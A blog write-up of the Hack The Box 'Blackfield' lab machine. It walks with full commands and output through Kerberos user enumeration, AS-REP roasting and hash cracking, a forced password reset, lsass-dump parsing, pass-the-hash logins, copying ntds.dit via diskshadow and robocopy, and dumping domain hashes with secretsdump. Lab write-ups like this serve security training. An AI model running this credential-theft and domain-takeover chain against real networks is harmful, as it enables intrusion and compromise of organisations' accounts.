Post

Blackfield - HTB Writeup

Posted
By iamroot101 21 min read

Machine Overview

Backfield is a hard difficulty Windows machine featuring Windows and Active Directory misconfigurations. Anonymous / Guest access to an SMB share. Kerbrute identify that support user have permissions “Do Not Require Pre-Authenticaton” which can be used to perform ASREPRoasting attack. This allows us to retrieve a hash of the encrypted material contained in the AS-REP, which can be subjected to an offline brute force attack using hashcat in order to recover the plaintext password. With these Credentials we discover that the user support have permission “ForceChangePassword” on user AUDIT2020. With this we change the password of AUDIT2020 user and access an SMB share containing forensics artefacts, including an lsass process dump. This contains a username and a password for a user svc_backup with WinRM privileges, who is also a member of the Backup Operators group. The privileges conferred by this privileged group are used to dump the Active Directory database, and retrieve the hash of the primary domain administrator.

image

User

Scanning through Nmap

First of all we will go with nmap to scan the whole network and check for services running on the network. To scan the whole network and find all the open ports i use -p- used to scan the whole 65535 ports with –min-rate 10000 to scan network faster from nmap and i found a list of open ports on the network and get only the open ports using different terminal tools like cut, tr etc.

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$ nmap -p- --min-rate 10000 10.10.10.175 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
53,88,135,389,445,593,3268,5985

Now Let’s run the depth scan on these specific ports using

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$ nmap -p53,88,135,389,445,593,3268,5985 -sC -sV -A -T4 10.10.10.175 -oN scan.txt
  • -sC is to run all the default scripts
  • -sV for service and version detection
  • -A to check all default things
  • -T4 for aggressive scan
  • -oN to write the result into a specified file
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PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-02-05 03:59:47Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-02-05T04:00:02
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Information Gathering

Through Nmap we found port 53 DNS is open which can be used to perform zone transfer, 88 kerberose is open which can be used to for enumeration and authentication purpose here, 139 & 445 SMB ports are open and can be used to enumerate network shares with anonymous user for initial access, 389 ldap port is open, 5985 winrm port is opened which can be used to login into machine if somehow we managed to obtain a valid credentials. Nmap discover Domain name by using ldap scripts which is BLACKFIELD.local. Let’s add this to our local DNS file called /etc/hots so that our computer can resolve domain

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$ echo "10.10.10.192   BLACKFIELD.local | sudo tee -a /etc/hosts

Port 53 DNS

Let’s start with the port 53 DNS and try to perform zone using dig (dig stands for Domain Information Grabber. It is used for retrieving information about DNS name servers. It is used for verifying and troubleshooting DNS problems and to perform DNS lookups). The complete command will be

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$ dig axfr @10.10.10.192 BLACKFIELD.local

Here axfr is a protocol(AXFR is a protocol for “zone transfers” for replication of DNS data across multiple DNS servers. Unlike normal DNS queries that require the user to know some DNS information ahead of time, AXFR queries reveal resource records including subdomain names). But we couldn’t able to fetch any useful information.

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$ dig axfr @10.10.10.192 BLACKFIELD.local

; <<>> DiG 9.19.19-1-Debian <<>> axfr @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
; Transfer failed.

We didn’t fond anything using zone tarnsfer. Now, Let’s perform subdomain Enumeration on that specific DNS server using gobuster

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$ gobuster dns -d BLACKFIELD.local  --wordlist=/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r 10.10.10.192:53

Here -r is used to check in remote DNS server IP:port which we provide. It discover some, Lets add these also to our /etc/hosts file.

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$ gobuster dns -d BLACKFIELD.local  --wordlist=/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r 10.10.10.192:53
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     BLACKFIELD.local
[+] Threads:    10
[+] Resolver:   10.10.10.192:53
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: gc._msdcs.BLACKFIELD.local

Found: domaindnszones.BLACKFIELD.local

Found: forestdnszones.BLACKFIELD.local
===============================================================
Finished
===============================================================

88 Kerberose

kerbrute(A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication) . it can also be used to perform password spraying on domain if somehow we managed to find a valid password. Kerbrute provide us many functions including

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Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

We will be using that userenum function to enumerate user’s name in domain.

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$ kerbrute userenum -d BLACKFIELD.local users-list --dc 10.10.10.192
  • -d is for domain name
  • –dc for domain controller IP
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$ kerbrute userenum -d BLACKFIELD.local  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.192 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/04/24 - Ronnie Flathers @ropnop

2024/02/04 16:01:49 >  Using KDC(s):
2024/02/04 16:01:49 >  	10.10.10.192:88

2024/02/04 16:05:27 >  [+] support has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$support@BLACKFIELD.LOCAL:29ce038d99ce51bb19dd2a123bb76619$833c23188184c67ee1d9092f5335904c3e81328e30d7d739c624707c5c77c405d67532b6ef484887fdebd238d373bd5f40d69b81a853be141cf763353d48c4762ea8d67c9b4fe21c2e7c93b873dec4a6cdb45a22424a052f51bc3d65a3d2fa6f1ae381927d001a2527a5a2957d3ea8cd97aabfecfd6d5eea2f241e2d8c8c258ba62d76b2e9b6c4e6ed4a1b0b4f9adecb7877c2844e555b50bbfe47483cb6bcbfde02ba034325413b538a3a70b0a95d5d22be105ba8b734c1947b00af69f6f803ff390a50b14e6c83634bfc7d05d257a9eecafd08e507146f82d412625b474bfde79c6ad75dfd8839bf4992f9ea788aa7fe8ae5fb9cf8ac5cd4144ed72e5cb09f7f49db881f4fe36e
2024/02/04 16:05:27 >  [+] VALID USERNAME:	 support@BLACKFIELD.local
2024/02/04 16:07:10 >  [+] VALID USERNAME:	 guest@BLACKFIELD.local
2024/02/04 16:08:41 >  Done! Tested 750 usernames (2 valid) in 412.290 seconds

Kerbrute discover two user’s, guest & support. Support have permissions Do not Require Pre-Authentication. Which means it is vulnerable to ASRep Roast attack.

AsRep Roast Attack

AS-Reproasting occurs when a user account has the privilege “Does not require Kerberos Pre-Authentication set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account. So the user with that privilege’s does not need of authentication for login

  • What is Pre-Authentication? Pre-authentication is the initial stage in Kerberos authentication, which is managed by the KDC Authentication server and is meant to prevent brute-force attacks. Kerberute dump support user hash for us. We can also dump that hash using GetNPUsers.py from impacket toolkit. ```bash $ /opt/impacket-0.9.19/examples/GetNPUsers.py -dc-ip 10.10.10.192 BLACKFIELD.local/ -u user.txt -format hashcat -outputfile hash

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation [-] User guest doesn’t have UF_DONT_REQUIRE_PREAUTH set

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- **-dc-ip** for domain controller IP
- **-u** for file name in which user's name exist
- **-format** to store hash in hashcat format
- **-outputfile** for the file name in which hash will be stored

```bash
$ cat hash 
$krb5asrep$23$support@BLACKFIELD.LOCAL:c5468673b909ee8d1b3e9473265e0e69$e2227fb3f52db685196f9c2177d72d4e4062e98df135b068dc822b6d226cc1dfb54f2fab68d4b847d246af4b387b1be89f1ebf8fb09c4996839dfa237809ace46cab5a1718f4d323eafbf6ddc0fcc505e9b68d3f3177b63b3bff3c3b03ea987337d0c09d7c52957416fd51b7b92c2913056c7d8dacc8c6f0173d3094073c33ddbfe5bfdd471d4cc90e074dfb36b1a3d8637b6203c2eba16b0fe0e3b07df0b881e785d7d14d51bcc9cd3c3e54eaf635811dd476e7ea376ee2d68765938e9f2e643fbda56266f15b63043f53638878afcafb348102fa1473bb30ef35c1d3f42311db2727379c95d6abe23f34e9fbb805ccf04ad72c

Now Let’s crack this hash using hashcat(Hashcat is a password cracking tool used for licit and illicit purposes. Hashat is a particularly fast, efficient, and versatile hacking tool that assists brute-force attacks by conducting them with hash values of passwords that the tool is guessing or applying).

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$ hashcat -m 18200 hash rockyou.txt

$krb5asrep$23$support@BLACKFIELD.LOCAL:c5468673b909ee8d1b3e9473265e0e69$e2227fb3f52db685196f9c2177d72d4e4062e98df135b068dc822b6d226cc1dfb54f2fab68d4b847d246af4b387b1be89f1ebf8fb09c4996839dfa237809ace46cab5a1718f4d323eafbf6ddc0fcc505e9b68d3f3177b63b3bff3c3b03ea987337d0c09d7c52957416fd51b7b92c2913056c7d8dacc8c6f0173d3094073c33ddbfe5bfdd471d4cc90e074dfb36b1a3d8637b6203c2eba16b0fe0e3b07df0b881e785d7d14d51bcc9cd3c3e54eaf635811dd476e7ea376ee2d68765938e9f2e643fbda56266f15b63043f53638878afcafb348102fa1473bb30ef35c1d3f42311db2727379c95d6abe23f34e9fbb805ccf04ad72c:#00^BlackKnight
  • -m for module in our case krb5asrep module number is 18200.
support : #00^BlackKnight

139 & 445 SMB

We also have SMB ports open, let’s try to list out smb shares if are available publicly using smbclient(The smbclient lets you send messages to workstations, display browse lists and connect to SMB shares). The command will be

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$ smbclient -N -L \\10.10.10.192
  • -N is for no-pass
  • -L for listing shares. We found some valid shares.
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    $ smbclient -N -L \\10.10.10.192

  Sharename       Type      Comment
  ---------       ----      -------
  ADMIN$          Disk      Remote Admin
  C$              Disk      Default share
  forensic        Disk      Forensic / Audit share.
  IPC$            IPC       Remote IPC
  NETLOGON        Disk      Logon server share 
  profiles$       Disk      
  SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

There is a share called forensic looks interesting to me. Let’s run it through smbmap(SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks) to check the permissions on these shares at once with recursion on to check all the share and data present in them. But unfortunately we don’t have access to it.

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$ smbmap -H 10.10.10.192 -u anonymous -p '' -r

[+] IP: 10.10.10.192:445	Name: BLACKFIELD.local    	Status: | Disk       | Permissions | Comment                 |
|------------|-------------|-------------------------|
| ADMIN$     | NO ACCESS   | Remote Admin            |
| C$         | NO ACCESS   | Default share           |
| forensic   | NO ACCESS   | Forensic / Audit share  |
| IPC$       | READ ONLY   | Remote IPC              |

We have a support User credentials. Let’s check if we can access forensic share with that. But it didn’t worked either. Interesting…

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$ smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'

[+] IP: 10.10.10.192:445	Name: BLACKFIELD.local    	Status: | Disk         | Permissions | Comment                  |
|------------|-------------|--------------------------|
| ADMIN$     | NO ACCESS   | Remote Admin             |
| C$         | NO ACCESS   | Default share            |
| forensic   | NO ACCESS   | Forensic / Audit share   |
| IPC$       | READ ONLY   | Remote IPC               |
| NETLOGON   | READ ONLY   | Logon server share       |
| profiles$  | READ ONLY   |                          |
| SYSVOL     | READ ONLY   | Logon server share       |

BloodHound

Now Let’s run bloodhound-python, an investigator used to gather information from all over the domain. After it’s completion, run bloodhound and upload it to bloodhound and start investigation on graph’s.

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$ bloodhound-python -c All -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.10.10.192 --zip
  • -c for collection method, i chose All to collect all kind of data
  • -u for usernamne
  • -p for user Password
  • -d for domain name
  • -ns for name server
  • –zip to store all the data in a zip file Now Let’s upload it to Bloodhound(an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment). To run Bloodhound we first need to start neo4j a graph database system.
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    sudo neo4j console
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.

Now type simple bloodhound in new terminal and press enter to start the bloodhound. If you are running bloodhound for the first time you need to reset the default credentials of bloodhound which is neo4j:neo4j. After logging into the bloodhound upload the zip file we create by bloodhound-python. You can use both methods, either drag and drop the file into bloodhound or by using upload data button and wait for data to upload into the database.

Pasted image 20240205025800

Now search for support user in search bar and mark it as owned user.

Pasted image 20240205025949

From OUTBound Transitive Control, I discover that the support user have ForceChangePassword permission on AUDIT2020@Blackfield.local user. Which means we can change the password of AUDIT user without knowing the current password of it.

Pasted image 20240205030317

Exploitation

Let’s Exploit this Permission using net rpc pasword(The net rpc command in Kali Linux is a powerful utility that allows you to interact with Remote Procedure Call (RPC) endpoints via named pipes. It’s particularly useful for tasks related to SMB (Server Message Block) protocol and Windows networking)

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$ net rpc password "AUDIT2020" "supersecurep@ssword123" --user='BLACKFIELD.LOCAL/support%#00^BlackKnight' -S 10.10.10.192

Now we can access the forensic share using AUDIT2020 user and the password, we set.

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$ smbmap -H 10.10.10.192 -u AUDIT2020 -p 'supersecurep@ssword123'

[+] IP: 10.10.10.192:445	Name: BLACKFIELD.local    	Status: Authenticated
| Disk       | Permissions | Comment                  |
|------------|-------------|--------------------------|
| ADMIN$     | NO ACCESS   | Remote Admin             |
| C$         | NO ACCESS   | Default share            |
| forensic   | READ ONLY   | Forensic / Audit share   |
| IPC$       | READ ONLY   | Remote IPC               |
| NETLOGON   | READ ONLY   | Logon server share       |
| profiles$  | READ ONLY   |                          |
| SYSVOL     | READ ONLY   | Logon server share       |

Let’s connect to forensic share using smbclient.

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$ smbclient \\\\10.10.10.192\\forensic --user='blackfield.local/audit2020%supersecurep@ssword123'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

inside memeory_analysis directory, i found a lsass.zip file which can be have the hashes of users.

Pasted image 20240205033225

After downloading to my local machine, i unzip it and extracted a file called lsass.DMP. so i quickly google that “how to analyse lsass.dmp” file and at very top and article come into my vision.How to extract information from .DMP files - Technical Navigator. So according to this article , we can extract useful information from lsass.dmp file using tool called pypykatz(pypykatz is a python version of mimikatz and can be used to perform mimikatz functionalities remotely without having a shell on the machine)

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$ pypykatz lsa minidump lsass.DMP

INFO:pypykatz:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
	== MSV ==
		Username: svc_backup
		Domain: BLACKFIELD
		LM: NA
		NT: 9658d1d1dcd9250115e2205d9f48400d
		SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
		DPAPI: a03cd8e9d30171f3cfe8caad92fef621
	== WDIGEST [633ba]==
		username svc_backup
		domainname BLACKFIELD
		password None
		password (hex)
	== Kerberos ==
		Username: svc_backup
		Domain: BLACKFIELD.LOCAL
	== WDIGEST [633ba]==
		username svc_backup
		domainname BLACKFIELD
		password None
		password (hex)

and at very top i found a svc_backup user NT hash which can be used to perform pass-the-hash attack.

Pass-The-Hash Attack

A pass the hash attack occur when an attacker uses the hashed user credential to authenticate to a remote system The attacker does not need to know or crack the plaintext password, as the hash is sufficient to create a new user session on the same network. This technique exploits the use of NTLM or LanMan hash of a user’s password by some services or servers. Let’s First check if we have a valid hash or not using crackmapexec, And we have.

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$ cme winrm 10.10.10.192 -u svc_backup -H "9658d1d1dcd9250115e2205d9f48400d" 
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
HTTP        10.10.10.192    5985   DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)

Shell with Evil-winrm

Evil-WinRM is an open-source, command-line-based tool that provides remote shell access to Windows machines over WinRM (Windows Remote Management). WinRM is a management protocol used to perform tasks on Windows-based systems remotely. Evil-WinRM leverages the weaknesses in WinRM to establish a foothold on a target system, allowing ethical hackers to perform various post-exploitation activities. For in depth knowledge, click here

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$ evil-winrm -i 10.10.10.192 -u svc_backup -H "9658d1d1dcd9250115e2205d9f48400d"
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents>

Privilege Escalation

Let’s check what permissions we have on domain.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We SeBackuprivilege and SeRestorePrivilege. Now Let’s check groups, of member we are.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup
User name                    svc_backup
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2020 9:54:48 AM
Password expires             Never
Password changeable          2/24/2020 9:54:48 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/23/2020 10:03:50 AM

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users

And we are member of Backup Operators group in domain.

What is Backup Operators group?

Backup Operators group is an historical Windows built in group. Backup operator groups allows users to take the backup and restore files regardless whether they have access to the files or not. Privileges of backup Operators

  • Can recover and back up files.
  • Can create a system backup.
  • Able to recover system state. (Only Windows® XP and 2003). To restore system state on Windows Vista, 7, 8, 8.1, 2008, or 10, you must also be a member of the Administrators group.
  • The TSM Scheduler service can be started

    Exploitation

    There are multiple ways to exploit SeBackupPrivileges permissions. refrence

    Diskshadow & Robocopy

    Diskshadow and Robocopy are both windows buil-in utilities. Diskshadow creates copies of a currently used drive because we cannot create a copy of running system files, while Robocopy copies files and directories from one location to another. Let’s Create a script which will create a full backup of C:\ and exposes it as a network drive with the drive letter E:\.

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$ cat backup.txt 
set verbose on 
set metadata C:\Windows\Temp\meta.cab 
set context clientaccessible 
set context persistent 
begin backup 
add volume C: alias cdrive 
create 
expose %cdrive% E: 
end backup
  • set verbose on to enable verbosity
  • set metadata C:\Windows\Temp\meta.cab Location of metadata
  • set context clientaccessible to make backup accessible to us
  • set context persistent making it persistent so that we never lost it after the re-boot
  • begin backup initiates backup process
  • add volume C: alias cdrive includes the C:\ drive, and assigns it an alias such as cdrive for reference
  • create create a backup
  • expose %cdrive% E: expose alias cdrive as a network drive
  • end backup to finalize the backup

Now upload the backup script to victim machine using upload feature of evil-winrm.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload backup.txt

Now create a shadow copy using diskshadow utility.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> diskshadow /s backup.txt
  • /s for script file path

When shadow copy created successfully. Now we have to extract ntds.dit file from the network drive. For this we will use robocopy utility.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> robocopy /b E:\Windows\ntds . ntds.dit
  • /b for source file path.

We extract the ntds.dit file sccessfully, now we need a decryption key to decrypt the ntds.dit file extract the password hashes form it. we will use reg save command for that

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save hklm\system system.bak

Now we have both ntds.dit file and the decryption key used to decrypt it. Let’s download it to our local attacking machine using download functionality of evilwinrm.

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*Evil-WinRM* PS C:\Users\svc_backup\Documents> download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\Documents> download system.bak

Secretsdump.py

SecretsDump.py is a Python tool by Impacket that can extract secrets from targets. SecretsDump.py performs various techniques to dump hashes from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) it tries to read as much as it can from the registry and then saves the hives in the target system (%SYSTEMROOT%\Temp dir) and reads the rest of the data from there. For NTDS.dit it uses the Volume Shadow Copy Service to read NTDS.dit directly from the disk or it can use the parser module to read NTDS.dit files from a copy.

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$ secretsdump.py -ntds ntds.dit -system system.bak -hashes lmhash:nthash LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:84b4bfcc9488b32d9e09feeb18ccfc9b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::

Now we have the hashes of different user’s and Administrator. We can bruteforce them offline to extract the plain text password or can also perform pass-the-hash attack to gain remote shell on user account

Pass-The-Hash

pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user’s password, instead of requiring the associated plaintext password as is normally the case. It replaces the need for stealing the plaintext password to gain access with stealing the hash. This happens due to NTLM protocol, used in AD to authenticate users. reference

We can perform pass-the-hash attack using different tools like evil-winrm, psexec.py and wmiexec.py

Evil-wirnm

Using Evil-winrm.

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$ evil-winrm -i blackfield.local -u administrator -H '184fb5e5178480be64824d4cd53b99ee'
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami 
blackfield\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

wmiexec.py

wmiexec.py is another script part of the Impacket framework. It is used to silently execute commands against a compromised endpoint using WMI.

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$ wmiexec.py 'blackfield.local/administrator@10.10.10.192'  -hashes 'aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee' 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami
blackfield\administrator

Flags

User : 3920bb317a0bef51027e2852be64b543 Root : 4375a629c7c67c8e29db269060c955cb

Happy Hacking ❤

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This post is licensed under CC BY 4.0 by the author.